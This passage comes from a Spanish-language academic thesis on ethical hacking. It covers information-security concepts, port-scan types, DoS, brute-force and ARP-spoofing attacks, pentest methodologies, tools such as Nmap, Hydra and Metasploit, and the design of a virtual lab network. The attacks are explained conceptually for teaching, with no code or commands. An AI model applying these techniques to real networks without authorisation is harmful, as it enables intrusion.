ni destruidos o borrados de modo no autorizado. (Lépez, 2010)

¢ Confidencialidad: Garantiza que los datos y la informacion solo puedan estar al

alcance de las personas, entidades u organizaciones autorizadas. (L6pez, 2010)

¢ Disponibilidad: Es disponibilidad de la informacién, datos u componentes del sistema

a las personas, entidades u organizaciones autorizadas. (Lopez, 2010)

e Trazabilidad: Esta determina el qué, cuando, como y quién realiza acciones al

sistema. (Lopez, 2010)

3.4.2. Gestion de riesgos de lainformacion

Daltabuit, Hernandez, Mallen y Vasquez (2007), definen el analisis de riesgos como la
seleccién de los mecanismos de proteccion, que permiten estimar las pérdidas

potenciales de informacion, y ayudan a reducirlo facilitando la seleccién de los mismos.

ISACA (2018) considera la gestidn de riesgos de la informacion como: el proceso de
identificar vulnerabilidades y amenazas a los recursos de informacién utilizados por
una organizacion para alcanzar sus objetivos, y decidir cuales controles, si alguno,
deben aplicar para reducir el riesgo a un nivel aceptable, basado en el valor del recurso

de informacién para la organizacion.

3.5. Vulnerabilidad

La vulnerabilidad de la informacion es comprometer la confidencialidad, integridad y/o
disponibilidad de la informacion. La norma ISO 27005 define la vulnerabilidad como una
debilidad de un activo o grupo de activos que puede ser explotado por una o mas
amenazas, se puede identificar vulnerabilidades en forma cualitativa de acuerdo a la
experiencia del experto en seguridades, usando un escenario de pruebas o utilizando
software de intrusion, de tal forma que al identificar las mismas sea posible tomar los

correctivos del caso.
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Markus (2018) menciona; respecto de la vulnerabilidad de la informacion, la siguiente
definicién: la vulnerabilidad es la capacidad, las condiciones y caracteristicas del sistema
mismo (incluyendo la entidad que lo maneja), que lo hace susceptible a amenazas, con el
resultado de sufrir algin dafio. En otras palabras, es la capacitad y posibilidad de un
sistema de responder o reaccionar a una amenaza o de recuperarse de un dafio También
menciona que las vulnerabilidades; segin sus caracteristicas se clasifican en un

determinado tipo u otro.

3.6. Amenazas de la seguridad de la informacién

De acuerdo con la NTP - 17799, se considera amenaza aquella causa potencial de un
incidente no deseado, el cual puede causar dafio a un sistema 0 a una organizacion.
Alexander y otros (2007), coinciden en que las amenazas se pueden clasificar en grandes
grupos para facilitar la toma de decisiones genéricas que reduzcan grupos de amenazas

bajo una sola accion. Los grupos propuestos son:
e Naturales. Fuego, inundacion, terremotos, etc.

¢ Humanas Accidentales. Desconocimiento, negligencia, despidos, pérdida no

intencional de informacion.
¢ Humanas Intencionales. Robo de informacion, ataques.

e Tecnol6gicas. Virus, hacker, crackers, pérdida de datos, fallas de software,

hardware o de red.

Luego de identificadas todas las amenazas, se evalla su probabilidad de ocurrencia. El
resultado de esta evaluacion permitira identificar las amenazas de mayor a menor
concurrencia y la decision sobre cuales atacar y cuales descartar de acuerdo con criterios

técnicos, legales y de costos.

Segun Granada (2009) las amenazas Y las vulnerabilidades tienen interrelacion, se parte
de la pregunta sobre cuales vulnerabilidades son aprovechadas por las amenazas, pues,
una Vulnerabilidad identificada genera amenazas que se convierten en un riesgo expuesto
sobre cualquier sistema de informacion. Esto es lo que para expertos en temas de
seguridad de informacién se conoce como la relacién causa-efecto entre los elementos del
analisis de riesgo. Por lo tanto, el siguiente paso sera el de integrar estos elementos para
analizar y definir los niveles de riesgo que luego permitirdn implementar los procedimientos

que ayudaran a mitigar tales riesgos y eliminar las vulnerabilidades.

3.7. Ataque

Es un asalto en la seguridad del sistema que esta derivada desde una amenaza. Un ataque

es cualquier accién que viola la seguridad (Valbuena, 2011, p. 2).
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3.7.1. Ataque de escaneo de puertos

El escaneo de puertos es una técnica que se basa en la evaluacion de vulnerabilidades
por parte de hackers o administradores para auditar las maquinas y la red (Valbuena,
2011, p. 2).

Existen aplicaciones que permiten verificar la seguridad de un computador en una red,
a través del andlisis de sus puertos, localizando los puertos abiertos o cerrados, los
servicios que estan ofrecidos, identificar si esta implementado un Firewall con el fin de

tomar control remoto del pc victima, los tipos de escaneo de puerto son:
e TCP Connect

Es una técnica comun que no necesita de ningun tipo de privilegio especial y que se
puede ejecutar a través de un software de escaneo de puertos. Consiste en usar la
llamada connect () de TCP para intentar establecer una conexién con cada uno de los
puertos del equipo a escanear. Si la conexién se establece, el puerto esta abierto; si
el puerto esta cerrado, se recibe un aviso de cierre de conexion y, en caso de no recibir

respuesta, el puerto se encuentra silencioso (Malagon, 2007, p. 5).
e TCP SYN

También conocido como escaneo medio abierto, es una técnica que intenta establecer
conexion mediante el envio de un flag SYN, si existe una respuesta del Host con el
paguete SYN+ACK, la conexién se interrumpira al enviar el paquete RSP, evitando

quedar registrado por parte del sistema (Malagén, 2007, p. 5).
e TCP FIN

Conocido como escaneo silencioso, consiste en enviar un paquete FIN al host de
destino, los estandares de TCP/IP indican que al recibir un paquete FIN en un puerto
cerrado, se responde con un paquete RST. Si se recibe un paquete RST por
respuesta, el puerto esta cerrado, y en caso de no recibir respuesta (se ignora el
paguete FIN) el puerto puede encontrarse abierto o silencioso. Este tipo de escaneo

no tiene resultados fiables (Malagoén, 2007, p. 6).
e ACK Scan

Permite identificar de manera confiable, si un puerto se encuentra en estado
silencioso. Su funcionamiento se basa en el envio de paquetes ACK con nimeros de
secuencia y confirmacion aleatorios. Cuando reciba el paquete, si el puerto se
encuentra abierto, respondera con un paquete RST, pues no identificara la conexién
como suya; si el puerto esta cerrado respondera con un paquete RST, pero si no se
obtiene respuesta se puede identificar claramente el puerto como filtrado (puerto

silencioso) (Malagon, 2007, p. 6).
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3.7.2. Ataque de denegacion de servicio (DoS)

El ataque de denegacion de servicio tiene como objetivo dejar inaccesible a un
determinado recurso de un servidor. Estos ataques generalmente se llevan a cabo
mediante el uso de herramientas que envian una gran cantidad de paquetes de forma
automatica para desbordar los recursos del servidor logrando de esta manera que el
propio servicio quede inoperable. Ademas, se suelen coordinar ataques involucrando
un gran namero de personas para que inicien este tipo de ataque simultaneamente,

tratAndose asi de un ataque de denegacion de servicio distribuido (Catoira, 2012, p.1).

3.7.3. Ataque de fuerza bruta

Es una técnica que proviene originalmente de la criptografia, en especial del
criptoandlisis (el arte de romper codigos cifrados o descifrar textos). Es una manera
de resolver problemas mediante un algoritmo simple de programacion, que se encarga
de generar y de ir probando las diferentes posibilidades hasta dar con el resultado
esperado o de mejor conveniencia (Tori, 2008, p. 108). Las técnicas de fuerza bruta

son:
= Uso de diccionarios
= Paralelizacion en Clusters
= Clusters con botnets

= Paralelizacion con GPUs.

3.7.4. Ataque de hombre en el medio

Consisten en realizar una técnica de ataque pasivo, denominada: ARP Spoofing, y se
lleva a cabo en redes LAN y WLAN. Al estar conectados en la misma red, este ataque
permite capturar todo el trafico dirigido de uno o varios hosts de la red a la puerta de
enlace configurada (Gateway) y viceversa, para engafar o envenenar la caché de la

tabla ARP de la victima.

De modo, que la direccibn MAC Address (Media Access Control Address) de la puerta
de enlace de la victima no sea la verdadera, si ho que sea la direccion MAC del
atacante. Asi cuando la victima realice consultas hacia Internet que seran requests
para su gateway antes pasaran por el host del atacante, este lo dejara pasar al router
y devolvera la respuesta al atacante de nuevo y este a la victima. De esta manera que

la victima no se dar& cuenta de lo que esta sucediendo (Lois, 2012, p. 1).
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3.8. Riesgo

Un riesgo esta definido como la probabilidad de que una amenaza explote una
vulnerabilidad, ademas si una amenaza explota una vulnerabilidad se lleva a cabo un

ataque (Aguirre, 2006).

3.9. Seguridad informatica

La seguridad informética segun Aguilera “es una disciplina que se ocupa de disefar las
normas, procedimientos, métodos y técnicas destinados a conseguir un sistema de

informacién seguro y confiable “(“s.f”, pag. 9).

Por otro lado, Aguirre (2006) en su Libro de Seguridad Informéatica y Criptografia define

como “la cualidad de un sistema informético exento de peligro” (p.50).

La Seguridad Informatica en si es un conjunto de estandares, politicas, métodos y
protocolos encargados de resguardar la infraestructura tanto Hardware como Software
incluyendo la informacion administrada y almacenada por los mismos, garantizando su

disponibilidad, integridad y confidencialidad. (Piattini y Del Peso, 2001)

Por lo tanto, la seguridad informética viene a ser un conjunto de métodos, procesos o
técnicas para la proteccion de los sistemas informaticos (redes e infraestructura) y la

informacién en formato digital que éstos almacenen.

Dentro de esta categoria, se puede mencionar la seguridad computacional, la cual se cifie
a la proteccion de los sistemas y equipos para el procesamiento de datos de una empresa,

por ejemplo.

3.9.1. Objetivo de la seguridad informatica

La seguridad informética tiene como principal objetivo de proteger todos los recursos
que la empresa o la persona tiene y considera como valiosos, tales como datos,
software o hardware. Esto se da gracias a que la seguridad informatica adopta
medidas para que las organizaciones, empresas o0 personas puedan cumplir sus
objetivos, esto permite que se puedan proteger todos los recursos, sistemas, datos

financieros, situacion legal y tanto bienes intangibles como tangibles. (Toribio, 2016).

3.9.2. Estructura de seguridad de la informatica

Para muchos profesionales una efectiva estructura de seguridad informatica se basa

en cuatro técnicas de administracion de riesgos, mostradas en el siguiente diagrama:
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Fuente: Toribio (2016).

e Estrategias y politicas: estrategias de administracion para seguridad informatica y
politicas, estandares, guias o directivos usados para comunicar estas estrategias a la

organizacion (Toribio, 2016).

e Administracion de la organizacion: procesos que se dirigen hacia politicas
profesionales y programas de capacitacién, administracion de cambios y control,

administracion de seguridad y otras actividades necesarias (Toribio, 2016).

e Monitorizacion de eventos: procesos reactivos que permite a la administracion
medir correctamente la implementacién de politicas e identificar en que momento las

politicas necesitan cambios (Toribio, 2016).

e Tecnologia informatica: es la tecnologia necesaria para proveer la apropiada
proteccién y soporte en los distintos procesos involucrados en la organizacion. La
seguridad informatica abarca un amplio rango de estrategias y soluciones al emplear

mecanismos preventivos en las redes, tales como:

e Control de acceso: unade las lineas de defensa mas importantes contra los intrusos
indeseados es el control de acceso. Basicamente, el papel del control de acceso es
identificar la persona que desea acceder al sistema y a sus datos, y verificar la
identidad de dicha persona. La manera habitual de controlar el acceso a un sistema es

restringir la entrada a cualquiera que no tenga un nombre de usuario y una contrasefia
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validos. Las contrasefas son un ejemplo de una forma simple pero efectiva de control

de acceso.

El control de acceso es efectivo para mantener a las personas desautorizadas fuera
del sistema. Sin embargo, una vez que alguien esta dentro, la persona no deberia
tener acceso libre a todos los programas, archivos e informacion existente en el
sistema. El control de acceso discrecional, a veces abreviado por el acrénimo DAC,
se realiza en muchos sistemas, y es una parte importante de cualquier acceso donde
el acceso a los archivos y programas se concede en funcién de la clase de permisos
otorgados a un usuario o un perfil de usuarios. Es discrecional en tanto que un
administrador puede especificar la clase de acceso que decide dar a otros usuarios

del sistema.

Esto difiere de otra clase de controles mas restrictiva, control de acceso obligatorio
(MAC), que proporciona un control mucho mas rigido de acceso a la informacion del

sistema.

e Prevencion contra Virus informéticos: la prevencion y control de los efectos

producidos por las diferentes clases de virus y programas destructivos que existen.

¢ Planificacién y administracién del sistema: planificaciéon, organizacién vy
administracién de los servicios relacionados con la informatica, asi como politicas y

procedimientos para garantizar la seguridad de los recursos de la organizacion.

¢ Cifrado: la encriptacion y la desencriptacion de la informacién manipulada, de forma

gue sélo las personas autorizadas pueden acceder a ella.

e Seguridad de la red y de comunicaciones: controlar problemas de seguridad a

través de las redes y los sistemas de telecomunicaciones.

3.10. Hacking Etico

“Ethical hacking es una metodologia utilizada para simular un ataque malicioso sin causar
dafo” (Tori, 2008, p. 15).

Una definicion que tiene, es el proceso por el cual se busca deficiencias o dafios en la
seguridad, red, o sistemas y de esta manera poder analizar, calibrar y ver el riesgo que
estas tienen para que de esta manera se pueda brindar y recomendar soluciones factibles
o las mas apropiadas para poder arreglar, combatir 0 mejorar cada una de estas y no tener

riesgos futuros. (Gémez, 2011)

Hacking, es una palabra que, presentada en un contexto global es un conjunto de
maniobras gque se interpretan como piratear y romper la seguridad de un sistema de forma
ilegal, ademas que la palabra hacker es traducida generalmente como pirata o delincuente
informatico (Pazmifio, 2011, p. 26).
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Si a “Hacking” se le afiade la palabra “Etico”, se puede definir como los profesionales de
la seguridad informatica que utilizan sus conocimientos de hacking con fines defensivos
para demostrar al usuario o potencial victima las vulnerabilidades encontradas en su red
o sistema informatico donde el activo mas valioso es la informacion que circula y almacena
en éste, para luego de realizadas las pruebas proponer las recomendaciones
correspondientes que proporcionen un nivel de seguridad aceptable para la red y se

puedan mitigar los riesgos de ataques (Pazmifio, 2011, p. 27).

3.10.1. Pentest

Existen Las pruebas de penetraciéon (también llamadas “pen testing”) son una practica
para poner a prueba un sistema informatico, red o aplicacibn web para encontrar
vulnerabilidades que un atacante podria explotar, existen tres tipos de pentest (Tori,
2008, p. 127).

¢ Pentest de caja negra

En este tipo de test no se tiene mayor informacién, no se conoce nada acerca de los
sistemas o arquitectura a atacar. Se tiene que recopilar toda la informacion sobre el
objetivo (Tori, 2008, p. 128).

¢ Pentest de caja blanca

Al contrario del anterior, en este tipo de pentest se proporciona la mayor informacion
posible acerca del objetivo, aplicaciones, sistemas operativos, arquitectura, entre otros
datos (Tori, 2008, p. 128).

e Pentest de caja gris

En este test se tiene parte o limitada informacion acerca de los detalles internos (Tori,
2008, p. 129).

3.10.2. Metodologia

En cada pentest, la metodologia es un punto importante a definir pues permite conocer
el como debe realizarse, dependiendo de las valoraciones que se consideren al
momento de planificar la ejecucién. A continuacién, se listan las principales

metodologias que han sido encontradas en la literatura consultada:
e OSSTMM (Open Source Security Testing Methodology Manual).

El principal propésito estd centrado en proporcionar un manual cientifico para la
caracterizacién precisa de seguridad operacional (OpSec) mediante el andlisis y la
correlacion de los resultados de prueba en una forma confiable y consistente. Sugiere
un ambito bastante amplio para realizar validaciones en diferentes médulos y canales
gue buscan ir mas alla de la parte técnica, llegando incluso a auditar procesos en la

parte operativa. Actualmente, se dispone del borrador de la versién 4.0 Unicamente
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para miembros de ISECOM (Instituto para la Seguridad y Metodologias Abiertas). La
version 3.0 se encuentra disponible para descarga desde su sitio oficial y en internet
se puede encontrar la version 2.1 de la que se toman algunas plantillas para

documentacion de ciertas fases del hacking ético (Pazmifio, 2011).
¢ ISSAF (Information Systems Security Assessment Framework).

Su objetivo es proporcionar procedimientos muy minuciosos para la comprobacion de
sistemas de informacion que reflejen situaciones reales. Constituye un marco de
trabajo que detalla como evaluar la seguridad de los sistemas. Sugiere estdndares de
pruebas para diferentes &mbitos de dominio. Una de las caracteristicas de este marco
de trabajo es que sugiere las herramientas a utilizar en cada fase. ISSAF se utiliza
principalmente para evaluar los requisitos de organizaciones y puede ser utilizado
como referencia para nuevas implementaciones relacionadas con la seguridad de la
informacion. Sin embargo, en los ultimos afios no ha tenido mucha connotacion pues

su Ultima actualizacién fue en la version 0.2.1, liberada en el 2006 (Pazmifio, 2011).
o OWASP Testing Guide (Open Web Application Security Project Testing Guide).

Esta guia se encuentra actualmente en su version 4.0 y contempla tres secciones
primarias: OWASP Testing Framework, Web Application Security Testing y
Reporteria. La primera de estas secciones esta orientada al desarrollo seguro de
aplicaciones web, la segunda a pruebas de seguridad de aplicaciones web, como tal,
y la tercera constituye todo un capitulo dedicado a cémo documentos los resultados
obtenidos. La seccién correspondiente a las Pruebas de Seguridad de Aplicaciones
contempla un listado de las 10 vulnerabilidades que estan siendo mas explotadas por
los atacantes (Top 10 OWASP) y provee una guia a seguir para llevar a cabo la
validacion de estas. Busca motivar y fomentar a los desarrolladores a elaborar su
trabajo brindando confiabilidad en las aplicaciones creadas para el desempefio de los

negocios (Pazmifo, 2011).

3.10.3. Etapas del hacking ético

La ejecucion de un hacking ético conlleva una serie de etapas; estas difieren en
algunos pasos dependiendo de la metodologia a utilizar. Sin embargo, segun sostiene

Dragon (2016) puede disponer de las etapas:
¢ Recoleccion de Informacion

Es la fase de preparacion en la cual se busca recolectar toda la informacién esencial
del objetivo; esta fase normalmente toma mas tiempo pues de esta dependerd la

estrategia a seguir para los siguientes pasos.

e Enumeracioén
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Es la recoleccién y compilacién de toda la informacién obtenida en el paso anterior:

deteccidn de equipos activos, rangos IP, Sistemas operativos, etc.
e Analisis
Modelado de la infraestructura, servicios, aplicaciones; identificacion de fallos

conocidos basados en los pasos anteriores.
e Explotacion

Busqueda de exploits y herramientas para atacar las vulnerabilidades y fallos
encontrados, en esta etapa se busca demostrar la criticidad de materializarse alguna

amenaza.
e Documentacioén

Generacion y envio de informe técnico, informe ejecutivo. Cabe mencionar que para
la ejecuciéon de cada una de las fases mencionadas se pueden utilizar herramientas

de software libre, asi como software comercial.

3.10.4. Herramientas del hacking ético

Para realizar una prueba de penetracion es necesario sumar a los conocimientos de
hacking ético, otros aspectos importantes como: metodologias, documentacién, entre
otros. Todos esos conocimientos vienen de la mano con las herramientas que forman

parte de algunas etapas de una prueba de penetracién.

De acuerdo a su funcionalidad e importancia que dan los profesionales de seguridad
se mencionan algunas de las herramientas mas utilizadas en pruebas de penetracion,
debido a que son mejor valoradas por los investigadores de seguridad para llevar a
cabo auditorias de seguridad informatica y de redes, asi como practicas de hacking
ético:

e Nmap

Es una herramienta de escaneo de redes, se usa para auditorias de seguridad. Puede
instalarse tanto en Linux, Windows y Mac. Nmap es una herramienta de linea de
comandos donde se debe indicar cual sera él o los objetivos y la serie de parametros
gue afectaran la forma en que se ejecuten las pruebas y los resultados que se
obtienen. Nmap permite identificar qué servicios se estan ejecutando en un dispositivo
remoto, asi como la identificacién de equipos activos, sistemas operativos en el equipo
remoto, existencia de filtros o firewalls. Asi como escaneo de: puertos, servicios,

vulnerabilidades, redes, scripts (Delfino, 2019).
e Zenmap

Es la interfaz gréfica oficial de Nmap, el conocido programa de codigo abierto para

hacer escaneo de puertos a fondo de cualquier equipo conectado. Zenmap
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proporciona una interfaz grafica para ejecutar los diferentes tipos de andlisis de
puertos que tiene Nmap y también para mostrarlos de forma intuitiva a los usuarios

menos experimentados (Delfino, 2019).
¢ Nslookup

Es un comando utilizado a través de CLI, incluido en mdltiples sistemas operativos
como Windows, Linux o Unix. Este comando permite hacer una resolucion de

nombres, en otras palabras, identificar la direccion IP (Delfino, 2019).
e Dnsenum

Herramienta para listar toda la informacién DNS acerca de un dominio y descubrir
blogues de direcciones IP no continuos, su instalacién y uso estéa disponible para Linux
(Delfino, 2019).

e Fierce

Es una herramienta de reconocimiento, que realiza escaneo de dominios y direcciones

IP no-continuas (Delfino, 2019).
e Dmitry

Esta herramienta recolecta informacion aplicando consultas whois, busqueda de

subdominios, busqueda de direcciones de correo, etc (Delfino, 2019).
¢ Robtex

Es un sitio web, que permite encontrar informacién de DNS, es de uso gratuito, su
modo de empleo es ingresando la direccién IP o el dominio en el sitio web de Robtex
(Delfino, 2019).

¢ Maltego

Es una herramienta o plataforma que permite generar imagenes de la relacion
existente entre DNS, direcciones ips, compafiias, etc., se encuentra disponible para
instalacion tanto en Linux como para Windows. Esta herramienta puede ser usada en
la fase de recopilacion de informacién o para determinar las relaciones y enlaces entre:
redes sociales, infraestructura de red, dominios, direcciones IP, DNS, bloques de red,
sitios web, etc. (Delfino, 2019).

e Medusa

Es un software para atacar a nivel de fuerza bruta basandonos en diccionarios de
palabras, es muy estable, sencillo, rapido y nos permitir4 realizar el ataque a muchos

servicios (Delfino, 2019).

e Nessus
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Nessus es un programa de escaneo de vulnerabilidades el cual es soportado por
diferentes sistemas operativos. Consiste en un demonio que realiza el escaneo en el
sistema objetivo, y un cliente que muestra el avance e informa sobre el estado de los
escaneos. Desde la consola se puede realizar escaneos programados. Algunas de
sus caracteristicas son: dispone de una actualizaciébn permanente, tiene reporte de
riesgos con caracterizacion, puede escanear varias maquinas de manera simultanea,
tiene la posibilidad de integrarse con otras herramientas como nmap y metaexploit
(Delfino, 2019).

e Openvas

Es un conjunto de diferentes servicios y herramientas que ofrecen una solucién
completa y potente de escaneo, analisis y administracion de vulnerabilidades, es libre
y gratuito. Openvas realiza y presenta un informe de las vulnerabilidades encontradas,
asi como las posibles soluciones. Este escaner tiene un servicio de actualizaciones

diarias de los test de vulnerabilidades de red y es multiplataforma (Delfino, 2019).
e Ettercap

Es una herramienta que permite capturar el trafico que circula por una red LAN,
soporta el estudio activo y pasivo de muchos protocolos e incluye caracteristicas de

analisis de red y host. Es una herramienta multiplataforma (Delfino, 2019).
¢ Wireshark

Es una herramienta multiplataforma utilizada para realizar analisis de paquetes de red,
permite observar de forma detallada cabeceras de protocolos. Es muy til para
capturar y monitorizar todos los paquetes de red para poder solucionar e incluso

prevenir posibles problemas (Delfino, 2019).
e Hydra

Esta herramienta se usa para comprobar la seguridad de las contrasefias de un
sistema o red. Su funcionamiento se basa en el uso de diccionarios, los cuales
contienen todas aquellas posibles combinaciones que se quiera probar (Delfino,
2019).

¢ Metasploit Framework

Metasploit Framework es una herramienta para desarrollar y ejecutar exploits18 contra
una maquina remota. Desarrollado en Ruby, lo usan profesionales de seguridad para
explotar vulnerabilidades, simular ataques. Algunas de sus caracteristicas son: tiene
una amplia base de datos de exploits, contiene diversos payloads de ejecucion,
dispone de soporte para post-explotacion, permite atacar diferentes plataformas
(Delfino, 2019).
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e Kali-Linux

Kali-Linux es un sistema operativo basado en Linux Debian, el mismo que fue
desarrollado a partir de la distribucion backtrack, este sistema retne una serie de
herramientas preinstaladas que ayuda a los profesionales y estudiantes de seguridad
informatica a realizar acciones como: captura de trafico (mediante: wireshark, yersinia,
etc.), escaneo de puertos (mediante: nmap, dnmap, etc.), analisis de vulnerabilidades
(mediante: nmap, openvas-scanner, etc.), explotacion de vulnerabilidades (mediante:
THC-Hydra, exploitdb, etc.), etc. Kali Linux esta tomando posicionamiento en la
comunidad para realizar auditorias y evaluacion de seguridades, es un sistema con
licencia GPL, el mismo que puede instalarse en una maquina virtual o directamente
en una maquina de trabajo, también posee una version LITE, la cual permite hacer

una evaluacion del sistema sin la necesidad de instalarlo (Delfino, 2019).

3.11. Hackers

Se puede asumir que un hacker es alguien capaz de llegar méas alld de los limites,
consiguiendo hacer cosas que van desde lo curioso hasta la asombroso. En otras
palabras, son gente con capacidades especiales en la informética adquiridas tras largas

horas de estudio y practica (Alonso, 2012).

3.11.1. Tipos de hackers

La sola palabra hacker no define si una persona usa su conocimiento para el bien o el

mal, es por ello que el término se ha dividido en:
e Hackers de sombrero gris

Estos hackers son personas las cuales actian de manera ofensiva y defensiva, esto
quiere decir que no atacan por atacar, pero si estan preparados para todo, son
personas las cuales solo actian cuando lo ameritan o actian de una buena manera.
(Quispe, 2013)

e Hackers de sombrero negro

Estos hackers tienen grandes habilidades, pero se enfocan en violar seguridades,

vulnerabilidades de los sistemas, etc. (Quispe, 2013)
e Hackers de sombrero blanco

Son los hackers que tienen habilidades iguales a los hackers de sombrero negro con
la diferencia que las ocupan para mejorar la seguridad o ayudar para detectar
problemas. Ellos son cominmente contratados por empresas para realizar auditorias

0 consultorias para ver las debilidades que esta tenga. (Quispe, 2013).

e Hackers suicidas
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Estos hackers son las personas revolucionarias que por hacer algo por un bien comun
no tienen miedo de enfrentar los cargos que se les puedan dar o que puedan recibir.
(Quispe, 2013).

¢ Script Kiddies:

Se los conoce como los hackers los cuales atacan mediante programas creados por
otros para poder penetrar los sistemas, redes, paginas, etc. No tienen mucho

conocimiento sobre el cédigo o la programacion. (Quispe, 2013).
¢ Newbie:

Son los hackers que no tienen conocimiento previo, pero bajan toda la documentacion
junto a programas para realizar ataques para aprender. También se los conoce como

los que recién estdn empezando o la gente nueva en la informatica. (Quispe, 2013).

3.12. Virtualizacion

Es una técnica empleada que implica generar que un recurso fisico como un servidor, un
sistema operativo o0 un dispositivo de almacenamiento, aparezca como si fueran varios
recursos légicos a la vez, o que varios recursos fisicos, como servidores o dispositivos de

almacenamiento, aparezcan como un Unico recurso logico (Velasquez, 2008, p. 1).

“La virtualizacion crea una nueva plataforma informatica conformada por los recursos
virtuales que comunica las aplicaciones del negocio y las plataformas informaticas fisicas
originales” (Ulloa, 2009, p. 120).

3.12.1. Tipos de virtualizacién
Existen dos tipos de virtualizacion:

e Virtualizacion completa

También llamada nativa. La capa de virtualizacién, media entre los sistemas invitados
y el anfitrién, la cual incluye cddigo que emula el hardware subyacente para las
maquinas virtuales, por lo que es posible ejecutar cualquier sistema operativo sin
modificar, siempre que soporte el hardware subyacente. El cédigo de emulacién puede

provocar pérdida en el rendimiento. (Villar, 2010, p. 66).
e Paravirtualizacion.

Similar a la virtualizacibn completa porque introduce hipervisor como capa de
virtualizacién, pero ademas de no incluir emulacién del hardware, introduce
modificaciones en los sistemas operativos invitados que por consiguiente estan al
tanto del proceso (deben poder ser modificables) (Villar, 2010, p. 67).
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3.12.2. Maquina Virtual.

Se refiere basicamente como un sistema de virtualizacion, denominado "virtualizacién
de servidores", que dependiendo de la funcion que esta deba de desempeniar en la
organizacion, todas ellas dependen del hardware y dispositivos fisicos, pero casi
siempre trabajan como modelos totalmente independientes de este. Cada una de ellas
con sus propias CPUs virtuales, tarjetas de red, discos etc. Lo cual podria
especificarse como una comparticion de recursos locales fisicos entre varios

dispositivos virtuales (vmware.com, s.f.).
e Windows Server 2003

Windows server 2003 es el sistema operativo creado por Microsoft para servidores
basado en el sistema de ficheros NTFS. Microsoft adapt6 el popular sistema para

ordenadores personales Windows XP a servidores con Windows Server 2003.

La adaptacion supuso una mejor utilizacion de recursos de la maguina pensando en

las funciones comunes realizada por servidores (“Magic Online”, 2016).
e Windows Server 2008

Este sistema sustituyé al Windows Server 2003 adecuandolo a la gestién de los
nuevos servidores aparecidos. De hecho, la ultima version aparecida Windows Server
2008 RC2 se basa en aportar las mejoras que han supuesto Windows 7 para los

ordenadores personales al mundo de los servidores (“Magic Online”, 2016).
e Windows 7

Es una de las versiones mas recientes de Microsoft Windows, un Sistema Operativo
producido por Microsoft para uso en PC, incluyendo equipos de escritorio en hogares
y oficinas, equipos portatiles, "tablet PC", "netbooks" y equipos "media center". El
desarrollo de Windows 7 se completé el 22 de julio de 2009, siendo entonces
confirmada su fecha de venta oficial para el 22 de octubre de 2009 junto a su

equivalente para servidores Windows Server 2008 R2 (“Magic Online”, 2016).
e Windows XP

Windows XP (cuyo nombre en clave inicial fue Whistler) es una linea de Sistema
operativo desarrollado por Microsoft que fueron hechos publicos el 25 de octubre de
2001. Las letras "XP" provienen de la palabra 'eXPeriencia’, 'eXPerience' en inglés, a
la fecha el sistema operativo en cuestion se encuentra sin soporte técnico (“Magic
Online”, 2016).

e FreeBSD

Es un Sistema operativo libre de tipo Unix descendientes de AT T UNIX a través de la

Berkeley Software Distribution (BSD), no es un clon de UNIX, pero funciona como
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UNIX. Originalmente, su desarrollo se basé en la version Net/2, también conocida
como 386BSD de William Jolitz, es un sistema operativo para ordenadores personales
basado en CPU’s de arquitectura Intel, incluyendo procesadores 386, 486, y Pentium
(versiones SXy DX) (“Magic Online”, 2016).

¢ Metasploitables

Es una maquina virtual pre configurada que cuenta con una serie de configuraciones
y vulnerabilidades pensadas para permitirnos depurar nuestras técnicas de hacking
utilizando exploits como, por ejemplo, metasploit. Existen tres versiones de
Metasploitable. La primera de ellas data de hace 7 afios, la segunda de hace 6 afios
y Metasploitable3, la versiébn mas reciente de esta maquina virtual vulnerable, de hace
un par de afios, siendo la opcion recomendable al ser la mas actualizada y util para
probar nuestras habilidades hoy en dia (“Magic Online”, 2016).

e Monowall

Es un completo paquete de software que se integra a un servidor de seguridad
utilizable en un PC, capaz de proporcionar todas esas caracteristicas y funciones de
seguridad que encontrariamos en soluciones firewall (o Corta Fuegos) comerciales,
ello incluye la facilidad de uso, ser gratis (toda vez que hablamos de un software libre).
Esta basado en una version basica de FreeBSD, con un servidor web, con PHP y
algunas otras herramientas. Todo el sistema de configuracion esta almacenado en un
archivo de texto XML lo que permite el mantenimiento de una transparencia de

configuracion (“Magic Online”, 2016).

3.12.3. Herramienta de virtualizacién VMware

Entre los sistemas operativos alojados y el hardware existe un hipervisor funcionando
como capa de abstraccion. Esta capa de abstraccién permite que cualquier sistema
operativo se ejecute sobre el hardware sin ningln conocimiento de cualquier otro
sistema operativo alojado. VMware también virtualiza el hardware de entrada/salida
disponible y ubica drivers para dispositivos de alto rendimiento en el hipervisor. El
entorno virtualizado completo se respalda en un fichero, lo que significa que un
sistema completo (incluyendo el sistema operativo alojado, la maquina virtual y el
hardware virtual) puede migrarse con facilidad y rapidez a una nueva maquina anfitrién

para balancear la carga (Jones, 2006, p. 15).
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CAPITULO IV

4. Metodologia de investigacion

Segun De La Cruz (2016) sostiene que la metodologia de la investigacion tecnoldgica
viene a ser, la descripcién del proceso de invencién, innovacién u optimizacion.
Explicacién del disefio (invencion, disefio, innovacién). Procesos para la creacion del
disefio. Recursos: instrumentos, herramientas, materiales, inversiones (analisis de
costos). En ese sentido, en este apartado se describe los procesos para la

construccion de la red virtual (artefacto) para la implementaciéon del hacking ético.

4.1. Metodologia para la construccion de lared virtual

Para cumplir esta tarea se empleé la metodologia PPDIOO (preparar, planificar, disefar,
implementar, operar) de Cisco para el disefio de redes, el enfoque principal de esta
metodologia es definir las actividades minimas requeridas, por tecnologia y complejidad
de red, que permitan la instalacion y operacién exitosa de las tecnologias. Asi mismo se

logra optimizar el desempefio a través del ciclo de vida de la red.

4.2. Preparar

Esta fase crea un caso de negocio, implica el establecimiento de los requerimientos de la
organizacion, el desarrollo de una estrategia de red, propuesta de una arquitectura
conceptual de alto nivel, identificacion de tecnologias que puedan apoyar la arquitectura.
Para nuestro caso el modelo de negocio fue crear un escenario que permita ejecutar las
distintas técnicas de hacking ético, para lo cual la red a implementar tuvo que tener las

siguientes caracteristicas:

e Convergencia de distintas tecnologias de red: Router, Switch, Firewall, Estaciones de

trabajo, servidores, UTM, IDS.
e Convergencia de distintos sistemas operativos: Linux, Unix, windows

¢ Funcionalidad de servidor de: base de datos, servidor de archivos, servidor web, servidor

de correo, servidor de gestién de ventas.

e Configuracion de una zona LAN que representara el segmento donde se encuentran los

usuarios o colaboradores de la organizacién (marketing, administrativos, gerencias y otros).

e Configuracion de una DMZ (zona desmilitarizada), el cual representara el espacio donde

se encuentran los distintos servidores de la organizacion.

e Configurar una zona WAN, que representara el exterior con el cual interactia la

organizacion.

¢ Configuracién de acceso restringido.
